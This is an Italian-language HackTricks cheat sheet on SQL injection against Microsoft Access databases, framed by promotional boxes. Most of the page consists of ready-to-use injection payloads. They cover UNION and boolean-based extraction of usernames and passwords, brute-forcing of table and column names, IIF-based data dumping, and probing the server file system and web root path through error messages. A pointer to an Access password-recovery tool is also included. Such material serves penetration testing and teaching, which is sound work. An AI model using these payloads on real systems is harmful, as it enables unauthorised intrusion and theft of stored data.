hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-10 13:03:23 +00:00

192 lines
10 KiB
Markdown

# Iniezione SQL in MS Access
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Playground Online
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Limitazioni del DB
### Concatenazione di stringhe
La concatenazione di stringhe è possibile con i caratteri `& (%26)` e `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Commenti
Non ci sono commenti in MS Access, ma apparentemente è possibile rimuovere l'ultima parte di una query con un carattere NULL:
```sql
1' union select 1,2 from table%00
```
Se ciò non funziona, potresti sempre correggere la sintassi della query:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Query annidate
Non sono supportate.
### LIMIT
L'operatore **`LIMIT`** **non è implementato**. Tuttavia, è possibile limitare i risultati della query SELECT alle **prime N righe della tabella utilizzando l'operatore `TOP`**. `TOP` accetta come argomento un numero intero, che rappresenta il numero di righe da restituire.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Proprio come TOP, puoi utilizzare **`LAST`** che otterrà le **righe dalla fine**.
## Union Queries/Sub queries
In una SQLi, di solito vorrai eseguire in qualche modo una nuova query per estrarre informazioni da altre tabelle. MS Access richiede sempre che nelle **subquery o query aggiuntive sia indicato un `FROM`**.\
Quindi, se vuoi eseguire una `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` tra parentesi in una condizione, devi sempre **indicare un `FROM` con un nome di tabella valido**.\
Pertanto, devi conoscere un **nome di tabella valido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Concatenazione di equals + Sottostringa
{% hint style="warning" %}
Questo ti permetterà di estrarre i valori della tabella corrente senza dover conoscere il nome della tabella.
{% endhint %}
**MS Access** permette una sintassi strana come **`'1'=2='3'='asd'=false`**. Come di consueto, l'iniezione SQL sarà all'interno di una clausola **`WHERE`** che possiamo sfruttare.
Immagina di avere un SQLi in un database MS Access e di sapere (o aver indovinato) che il nome di una **colonna è username**, ed è il campo che vuoi **estrarre**. Potresti controllare le diverse risposte dell'applicazione web quando viene utilizzata la tecnica di concatenazione di equals e potenzialmente estrarre il contenuto con un'iniezione booleana utilizzando la funzione **`Mid`** per ottenere sottostringhe.
```sql
'=(Mid(username,1,3)='adm')='
```
Se conosci il **nome della tabella** e della **colonna** da estrarre, puoi utilizzare una combinazione di `Mid`, `LAST` e `TOP` per **rivelare tutte le informazioni** tramite boolean SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
### Forzare i nomi delle tabelle
Utilizzando la tecnica di concatenazione degli equals, è possibile **forzare i nomi delle tabelle** con qualcosa del genere:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Puoi anche utilizzare un metodo più tradizionale:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
* Nomi comuni delle tabelle Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* C'è un'altra lista su [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Forzare i nomi delle colonne
Puoi **forzare i nomi delle colonne correnti** con il trucco dell'uguale concatenato con:
```sql
'=column_name='
```
Oppure con un **group by**:
```sql
-1' GROUP BY column_name%00
```
Oppure puoi eseguire un attacco di forza bruta sui nomi delle colonne di una **tabella diversa** con:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping dei dati
Abbiamo già discusso della [**tecnica di concatenazione degli equals**](ms-access-sql-injection.md#chaining-equals-+-substring) **per il dumping dei dati dalle tabelle correnti e da altre tabelle**. Ma ci sono anche altri modi:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
In poche parole, la query utilizza un'istruzione "if-then" per generare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'utilizzo successivo di LAST consente di considerare solo la decima tupla. Su tale valore, utilizzando l'operatore MID, è possibile effettuare un semplice confronto tra caratteri. Cambiando correttamente l'indice di MID e TOP, è possibile estrarre il contenuto del campo "username" per tutte le righe.
### Basato sul tempo
Controlla [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Altre funzioni interessanti
* `Mid('admin',1,1)` ottiene una sottostringa dalla posizione 1 di lunghezza 1 (la posizione iniziale è 1)
* `LEN('1234')` ottiene la lunghezza della stringa
* `ASC('A')` ottiene il valore ASCII del carattere
* `CHR(65)` ottiene la stringa dal valore ASCII
* `IIF(1=1,'a','b')` se allora
* `COUNT(*)` Conta il numero di elementi
## Enumerazione delle tabelle
Da [**qui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puoi vedere una query per ottenere i nomi delle tabelle:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Tuttavia, nota che è molto comune trovare SQL Injection in cui **non hai accesso per leggere la tabella `MSysObjects`**.
## Accesso al file system
### Percorso completo della directory radice del web
La conoscenza del **percorso assoluto della directory radice del web può facilitare ulteriori attacchi**. Se gli errori dell'applicazione non sono completamente nascosti, il percorso della directory può essere scoperto cercando di selezionare dati da un database inesistente.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access risponde con un **messaggio di errore contenente il percorso completo della directory web**.
### Enumerazione dei file
Il seguente vettore di attacco può essere utilizzato per **inferire l'esistenza di un file nel file system remoto**. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database non è valido:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Un altro modo per enumerare i file consiste nel **specificare un elemento database.tabella**. **Se** il **file specificato esiste**, MS Access visualizza un **messaggio di errore sul formato del database**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Indovinare il nome del file .mdb
Il nome del file del database (.mdb) può essere inferito con la seguente query:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Dove **name\[i] è un nome di file .mdb** e **realTable è una tabella esistente** nel database. Sebbene MS Access generi sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.
### Cracker di password .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) è un'utilità gratuita che può essere utilizzata per recuperare la password principale del database di Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
## Riferimenti
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>